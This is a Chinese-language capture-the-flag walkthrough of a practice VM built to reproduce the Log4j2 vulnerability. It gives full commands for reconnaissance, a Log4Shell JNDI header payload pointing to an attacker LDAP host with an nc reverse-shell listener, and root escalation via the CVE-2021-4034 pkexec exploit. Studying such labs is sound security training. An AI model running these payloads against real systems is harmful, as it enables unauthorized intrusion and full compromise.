部署环境
提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可
此次靶场是针对Log4j2漏洞复现的一个靶场,大家可以直接上手操作一遍
靶机ip地址:(桥接自动获取ip)
目标: user.txt和root.txt
信息收集
扫描主机
arp-scan -l
扫描到存活主机ip地址为192.168.1.97
扫描端口
nmap -A -p- -T4 192.168.1.97
发现端口有的还是80/8080/22这三个端口
Web渗透
老规矩,还是先访问80端口
http://192.168.1.97/
这个界面可以说真是大气大气上档次,直接FBI,查看源码什么的没有效果,那就直接开始目录扫描试试,我还是继续采用昨天看到的gobuster进行扫描
目录扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.97 -x php,html,txt
扫描的时候发现了这个note.txt文件,我们先访问下
http://192.168.1.97/note.txt
然后直接网页翻译一下
说明这个靶场中存在log4j2漏洞,接下来就开始验证即可
Log4j2漏洞复现
漏洞Log4j2,现在kali攻击机上下载poc
git clone https://github.com/kozmer/log4j-shell-poc.git
安装依赖
cd log4j-shell-poc
python3 -m pip install -r requirements.txt
黄色的有问题的部分可以直接忽略不计即可
先运行一下看看
python3 poc.py
还需要jdk1.8.0_20,下载jdk(注意:在kali机器中,log4j-shell-poc目录下必须有jdk1.8.0_20文件夹的java)
wget https://repo.huaweicloud.com/java/jdk/8u201-b09/jdk-8u201-linux-x64.tar.gz
下载完后开始解压
tar -zxvf jdk-8u201-linux-x64.tar.gz
解压后还需要进行操作就是把文件名进行修改
`
mv jdk1.8.0_201 jdk1.8.0_20
这个时候就算是环境已经配置好了
我们还有一个8080端口没有访问,看一下情况
http://192.168.1.97:8080/
这个报错很熟悉,这是SpringBoot的报错,直接上payload验证,那首先先把环境给启动起来
1、攻击机监听9001端口
nc -lvvp 9001
2、执行poc
python3 poc.py --userip 192.168.1.6(这是kaliIP地址)
3、执行payload
curl -H ‘X-Api-Version:${jndi:ldap://192.168.1.6:1389/a}’ http://192.168.1.97:8080/
验证成功,直接是root权限,来找一下flag
cd /root
ls -al
没有flag,而且文件还没有,情况不对,看看端口吧
netstat -ntlp
只有一个端口,估计是虚拟机或docker里面,
仔细看看有没有什么隐藏目录什么的
发现在var/tmp下有一个隐藏目录,查到了roger的密码
直接远程登录
提示让输入内容,但没说输入什么内容,试了一圈最后按Ctrl+c结束进入roger账号
登录成功,找找敏感信息
ls -al
cat user.txt
这个时候就拿到了第一个flag
FLAG = [ee11cbb19052e40b07aac0ca060c23ee]
尝试提权,可以直接上辅助提权脚本,也可以先尝试提权三件套试一试
sudo -l
find / -perm -u=s -type f 2>/dev/null
crontab -l
哦豁,看到了熟悉的,直接上传exp尝试提权(这个前段时间爆出的linux通杀本地提权漏洞,不了解的师傅可以参考一下这篇复现:(http://www.xinza1.top/archives/789)
然后先在kali机器上下载poc脚本
wget https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
然后在靶机上下载(这块发现前后文件名不一样,其实我是把脚本里的内容从新复制了一下建立了一个新的文件,不影响的)
发现已经提权成功
cd /root
ls
cat root.txt
拿到最终的flag
FLAG = [63a9f0ea7bb98050796b649e85481845]